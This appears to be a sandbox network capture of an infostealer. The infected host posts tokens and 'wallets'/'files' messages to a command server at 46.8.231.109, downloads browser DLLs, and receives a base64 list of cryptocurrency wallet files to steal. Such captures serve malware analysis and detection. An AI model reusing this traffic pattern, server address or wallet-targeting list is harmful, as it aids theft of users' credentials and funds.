00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELc!&@a0: 0@< .text%&`P`.data\|'@(,@`.rdatapDpFT@`@.bss(`.edata,@0@.idata@0.CRT,@0.tls @0.rsrc0@0.reloc<@>@0B/48@@B/19R"@B/31]'`(@B/45-.@B/57\B@0B/70
Sep 26, 2024 19:05:10.426098108 CEST	1236	IN	Data Raw: 00 00 23 03 00 00 00 d0 0e 00 00 04 00 00 00 4e 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 38 31 00 00 00 00 00 73 3a 00 00 00 e0 0e 00 00 3c 00 00 00 52 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 39 32 00 00 00 00 00 Data Ascii: #N@B/81s:<R@B/92P @B
Sep 26, 2024 19:05:11.554105043 CEST	200	OUT	POST /c4754d4f680ead72.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FCFIJEBFCGDAAKFHIDBF Host: 46.8.231.109 Content-Length: 4599 Connection: Keep-Alive Cache-Control: no-cache
Sep 26, 2024 19:05:11.832375050 CEST	202	IN	HTTP/1.1 200 OK Date: Thu, 26 Sep 2024 17:05:11 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=93 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Sep 26, 2024 19:05:13.057657003 CEST	200	OUT	POST /c4754d4f680ead72.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IIEBAFCBKFIDGCAKKKFC Host: 46.8.231.109 Content-Length: 1451 Connection: Keep-Alive Cache-Control: no-cache
Sep 26, 2024 19:05:13.384813070 CEST	202	IN	HTTP/1.1 200 OK Date: Thu, 26 Sep 2024 17:05:13 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=92 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Sep 26, 2024 19:05:13.445971966 CEST	562	OUT	POST /c4754d4f680ead72.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FHIDAKFIJJKJJJKEBKJE Host: 46.8.231.109 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 46 48 49 44 41 4b 46 49 4a 4a 4b 4a 4a 4a 4b 45 42 4b 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 30 30 64 65 38 63 63 31 65 65 30 61 32 39 61 63 38 64 31 33 66 39 39 37 64 38 39 66 35 61 39 33 35 38 33 32 36 63 36 62 36 63 32 64 64 63 36 38 39 65 31 31 35 38 32 38 35 62 38 62 62 66 39 39 30 63 37 31 36 30 34 0d 0a 2d 2d 2d 2d 2d 2d 46 48 49 44 41 4b 46 49 4a 4a 4b 4a 4a 4a 4b 45 42 4b 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 46 48 49 44 41 4b 46 49 4a 4a 4b 4a 4a 4a 4b 45 42 4b 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------FHIDAKFIJJKJJJKEBKJEContent-Disposition: form-data; name="token"600de8cc1ee0a29ac8d13f997d89f5a9358326c6b6c2ddc689e1158285b8bbf990c71604------FHIDAKFIJJKJJJKEBKJEContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------FHIDAKFIJJKJJJKEBKJEContent-Disposition: form-data; name="file"------FHIDAKFIJJKJJJKEBKJE--
Sep 26, 2024 19:05:13.658466101 CEST	202	IN	HTTP/1.1 200 OK Date: Thu, 26 Sep 2024 17:05:13 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=91 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Sep 26, 2024 19:05:14.462322950 CEST	562	OUT	POST /c4754d4f680ead72.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AKEBFCFIJJKKECAKJEHD Host: 46.8.231.109 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 41 4b 45 42 46 43 46 49 4a 4a 4b 4b 45 43 41 4b 4a 45 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 30 30 64 65 38 63 63 31 65 65 30 61 32 39 61 63 38 64 31 33 66 39 39 37 64 38 39 66 35 61 39 33 35 38 33 32 36 63 36 62 36 63 32 64 64 63 36 38 39 65 31 31 35 38 32 38 35 62 38 62 62 66 39 39 30 63 37 31 36 30 34 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 45 42 46 43 46 49 4a 4a 4b 4b 45 43 41 4b 4a 45 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 45 42 46 43 46 49 4a 4a 4b 4b 45 43 41 4b 4a 45 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------AKEBFCFIJJKKECAKJEHDContent-Disposition: form-data; name="token"600de8cc1ee0a29ac8d13f997d89f5a9358326c6b6c2ddc689e1158285b8bbf990c71604------AKEBFCFIJJKKECAKJEHDContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------AKEBFCFIJJKKECAKJEHDContent-Disposition: form-data; name="file"------AKEBFCFIJJKKECAKJEHD--
Sep 26, 2024 19:05:14.669526100 CEST	202	IN	HTTP/1.1 200 OK Date: Thu, 26 Sep 2024 17:05:14 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=90 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Sep 26, 2024 19:05:15.493657112 CEST	91	OUT	GET /1309cdeb8f4c8736/freebl3.dll HTTP/1.1 Host: 46.8.231.109 Cache-Control: no-cache
Sep 26, 2024 19:05:15.671514988 CEST	1236	IN	HTTP/1.1 200 OK Date: Thu, 26 Sep 2024 17:05:15 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "a7550-5e7ebd4425100" Accept-Ranges: bytes Content-Length: 685392 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!4p@AHSxFP/# @.text `.rdata @@.data<F0@.00cfg@@.rsrcx@@.reloc#$"@B
Sep 26, 2024 19:05:16.380059958 CEST	91	OUT	GET /1309cdeb8f4c8736/mozglue.dll HTTP/1.1 Host: 46.8.231.109 Cache-Control: no-cache
Sep 26, 2024 19:05:16.562684059 CEST	1236	IN	HTTP/1.1 200 OK Date: Thu, 26 Sep 2024 17:05:16 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "94750-5e7ebd4425100" Accept-Ranges: bytes Content-Length: 608080 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!^j@A`W, P/0AShZ.texta `.rdata@@.dataD@.00cfg@@.tls@.rsrc @@.relocA0B@B
Sep 26, 2024 19:05:16.970905066 CEST	92	OUT	GET /1309cdeb8f4c8736/msvcp140.dll HTTP/1.1 Host: 46.8.231.109 Cache-Control: no-cache
Sep 26, 2024 19:05:17.172348976 CEST	1236	IN	HTTP/1.1 200 OK Date: Thu, 26 Sep 2024 17:05:17 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "6dde8-5e7ebd4425100" Accept-Ranges: bytes Content-Length: 450024 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$1C___)n__^"_^_\_[_Z____]_Rich_PEL0]"!(`@,@AgrA=`x8w@pc@.text&( `.dataH)@,@.idatapD@@.didat4X@.rsrcZ@@.reloc=>^@B
Sep 26, 2024 19:05:17.513545990 CEST	88	OUT	GET /1309cdeb8f4c8736/nss3.dll HTTP/1.1 Host: 46.8.231.109 Cache-Control: no-cache
Sep 26, 2024 19:05:17.700970888 CEST	1236	IN	HTTP/1.1 200 OK Date: Thu, 26 Sep 2024 17:05:17 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "1f3950-5e7ebd4425100" Accept-Ranges: bytes Content-Length: 2046288 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!.`pl- @A&@PxP/`\\|\&@.text `.rdatal@@.dataDR.@.00cfg@@@.rsrcxP@@.reloc\`@B
Sep 26, 2024 19:05:19.240709066 CEST	92	OUT	GET /1309cdeb8f4c8736/softokn3.dll HTTP/1.1 Host: 46.8.231.109 Cache-Control: no-cache
Sep 26, 2024 19:05:19.418597937 CEST	1236	IN	HTTP/1.1 200 OK Date: Thu, 26 Sep 2024 17:05:19 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "3ef50-5e7ebd4425100" Accept-Ranges: bytes Content-Length: 257872 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!PSg@ADvSwP/58q{.text& `.rdata@@.data\|@.00cfg@@.rsrc@@.reloc56@B
Sep 26, 2024 19:05:19.734513044 CEST	96	OUT	GET /1309cdeb8f4c8736/vcruntime140.dll HTTP/1.1 Host: 46.8.231.109 Cache-Control: no-cache
Sep 26, 2024 19:05:19.909564018 CEST	1236	IN	HTTP/1.1 200 OK Date: Thu, 26 Sep 2024 17:05:19 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "13bf0-5e7ebd4425100" Accept-Ranges: bytes Content-Length: 80880 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$08euRichPEL\|0]"!0m@AA 8 @.text `.data@.idata@@.rsrc@@.reloc @B
Sep 26, 2024 19:05:20.139379025 CEST	200	OUT	POST /c4754d4f680ead72.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GCAEHDBAAECBFHJKFCFB Host: 46.8.231.109 Content-Length: 1067 Connection: Keep-Alive Cache-Control: no-cache
Sep 26, 2024 19:05:20.331226110 CEST	202	IN	HTTP/1.1 200 OK Date: Thu, 26 Sep 2024 17:05:20 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=83 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Sep 26, 2024 19:05:20.357036114 CEST	466	OUT	POST /c4754d4f680ead72.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DAEGIIECGHCBFHJKEHDB Host: 46.8.231.109 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 41 45 47 49 49 45 43 47 48 43 42 46 48 4a 4b 45 48 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 30 30 64 65 38 63 63 31 65 65 30 61 32 39 61 63 38 64 31 33 66 39 39 37 64 38 39 66 35 61 39 33 35 38 33 32 36 63 36 62 36 63 32 64 64 63 36 38 39 65 31 31 35 38 32 38 35 62 38 62 62 66 39 39 30 63 37 31 36 30 34 0d 0a 2d 2d 2d 2d 2d 2d 44 41 45 47 49 49 45 43 47 48 43 42 46 48 4a 4b 45 48 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 44 41 45 47 49 49 45 43 47 48 43 42 46 48 4a 4b 45 48 44 42 2d 2d 0d 0a Data Ascii: ------DAEGIIECGHCBFHJKEHDBContent-Disposition: form-data; name="token"600de8cc1ee0a29ac8d13f997d89f5a9358326c6b6c2ddc689e1158285b8bbf990c71604------DAEGIIECGHCBFHJKEHDBContent-Disposition: form-data; name="message"wallets------DAEGIIECGHCBFHJKEHDB--
Sep 26, 2024 19:05:20.538808107 CEST	1236	IN	HTTP/1.1 200 OK Date: Thu, 26 Sep 2024 17:05:20 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2408 Keep-Alive: timeout=5, max=82 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 51 6d 6c 30 59 32 39 70 62 69 42 44 62 33 4a 6c 66 44 46 38 58 45 4a 70 64 47 4e 76 61 57 35 63 64 32 46 73 62 47 56 30 63 31 78 38 64 32 46 73 62 47 56 30 4c 6d 52 68 64 48 77 78 66 45 4a 70 64 47 4e 76 61 57 34 67 51 32 39 79 5a 53 42 50 62 47 52 38 4d 58 78 63 51 6d 6c 30 59 32 39 70 62 6c 78 38 4b 6e 64 68 62 47 78 6c 64 43 6f 75 5a 47 46 30 66 44 42 38 52 47 39 6e 5a 57 4e 76 61 57 35 38 4d 58 78 63 52 47 39 6e 5a 57 4e 76 61 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 46 4a 68 64 6d 56 75 49 45 4e 76 63 6d 56 38 4d 58 78 63 55 6d 46 32 5a 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 45 52 68 5a 57 52 68 62 48 56 7a 49 45 31 68 61 57 35 75 5a 58 52 38 4d 58 78 63 52 47 46 6c 5a 47 46 73 64 58 4d 67 54 57 46 70 62 6d 35 6c 64 46 78 33 59 57 78 73 5a 58 52 7a 58 48 78 7a 61 47 55 71 4c 6e 4e 78 62 47 6c 30 5a 58 77 77 66 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 46 74 49 45 64 79 5a 57 56 75 66 44 46 38 58 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 [TRUNCATED] Data Ascii: Qml0Y29pbiBDb3JlfDF8XEJpdGNvaW5cd2FsbGV0c1x8d2FsbGV0LmRhdHwxfEJpdGNvaW4gQ29yZSBPbGR8MXxcQml0Y29pblx8KndhbGxldCouZGF0fDB8RG9nZWNvaW58MXxcRG9nZWNvaW5cfCp3YWxsZXQqLmRhdHwwfFJhdmVuIENvcmV8MXxcUmF2ZW5cfCp3YWxsZXQqLmRhdHwwfERhZWRhbHVzIE1haW5uZXR8MXxcRGFlZGFsdXMgTWFpbm5ldFx3YWxsZXRzXHxzaGUqLnNxbGl0ZXwwfEJsb2Nrc3RyZWFtIEdyZWVufDF8XEJsb2Nrc3RyZWFtXEdyZWVuXHdhbGxldHNcfCouKnwxfFdhc2FiaSBXYWxsZXR8MXxcV2FsbGV0V2FzYWJpXENsaWVudFxXYWxsZXRzXHwqLmpzb258MHxFdGhlcmV1bXwxfFxFdGhlcmV1bVx8a2V5c3RvcmV8MHxFbGVjdHJ1bXwxfFxFbGVjdHJ1bVx3YWxsZXRzXHwqLip8MHxFbGVjdHJ1bUxUQ3wxfFxFbGVjdHJ1bS1MVENcd2FsbGV0c1x8Ki4qfDB8RXhvZHVzfDF8XEV4b2R1c1x8ZXhvZHVzLmNvbmYuanNvbnwwfEV4b2R1c3wxfFxFeG9kdXNcfHdpbmRvdy1zdGF0ZS5qc29ufDB8RXhvZHVzXGV4b2R1cy53YWxsZXR8MXxcRXhvZHVzXGV4b2R1cy53YWxsZXRcfHBhc3NwaHJhc2UuanNvbnwwfEV4b2R1c1xleG9kdXMud2FsbGV0fDF8XEV4b2R1c1xleG9kdXMud2FsbGV0XHxzZWVkLnNlY298MHxFeG9kdXNcZXhvZHVzLndhbGxldHwxfFxFeG9kdXNcZXhvZHVzLndhbGxldFx8aW5mby5zZWNvfDB8RWxlY3Ryb24gQ2FzaHwxfFxFbGVjdHJvbkNhc2hcd2FsbGV0c1x8Ki4qfDB8TXVsdGlEb2dlfDF8
Sep 26, 2024 19:05:20.541821957 CEST	464	OUT	POST /c4754d4f680ead72.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JEGDGIIJJECFIDHJJKKF Host: 46.8.231.109 Content-Length: 265 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 45 47 44 47 49 49 4a 4a 45 43 46 49 44 48 4a 4a 4b 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 30 30 64 65 38 63 63 31 65 65 30 61 32 39 61 63 38 64 31 33 66 39 39 37 64 38 39 66 35 61 39 33 35 38 33 32 36 63 36 62 36 63 32 64 64 63 36 38 39 65 31 31 35 38 32 38 35 62 38 62 62 66 39 39 30 63 37 31 36 30 34 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 47 44 47 49 49 4a 4a 45 43 46 49 44 48 4a 4a 4b 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 47 44 47 49 49 4a 4a 45 43 46 49 44 48 4a 4a 4b 4b 46 2d 2d 0d 0a Data Ascii: ------JEGDGIIJJECFIDHJJKKFContent-Disposition: form-data; name="token"600de8cc1ee0a29ac8d13f997d89f5a9358326c6b6c2ddc689e1158285b8bbf990c71604------JEGDGIIJJECFIDHJJKKFContent-Disposition: form-data; name="message"files------JEGDGIIJJECFIDHJJKKF--
Sep 26, 2024 19:05:20.725384951 CEST	202	IN	HTTP/1.1 200 OK Date: Thu, 26 Sep 2024 17:05:20 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=81 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Sep 26, 2024 19:05:20.733057976 CEST	562	OUT	POST /c4754d4f680ead72.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GIECFIEGDBKJKFIDHIEC Host: 46.8.231.109 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 47 49 45 43 46 49 45 47 44 42 4b 4a 4b 46 49 44 48 49 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 30 30 64 65 38 63 63 31 65 65 30 61 32 39 61 63 38 64 31 33 66 39 39 37 64 38 39 66 35 61 39 33 35 38 33 32 36 63 36 62 36 63 32 64 64 63 36 38 39 65 31 31 35 38 32 38 35 62 38 62 62 66 39 39 30 63 37 31 36 30 34 0d 0a 2d 2d 2d 2d 2d 2d 47 49 45 43 46 49 45 47 44 42 4b 4a 4b 46 49 44 48 49 45 43 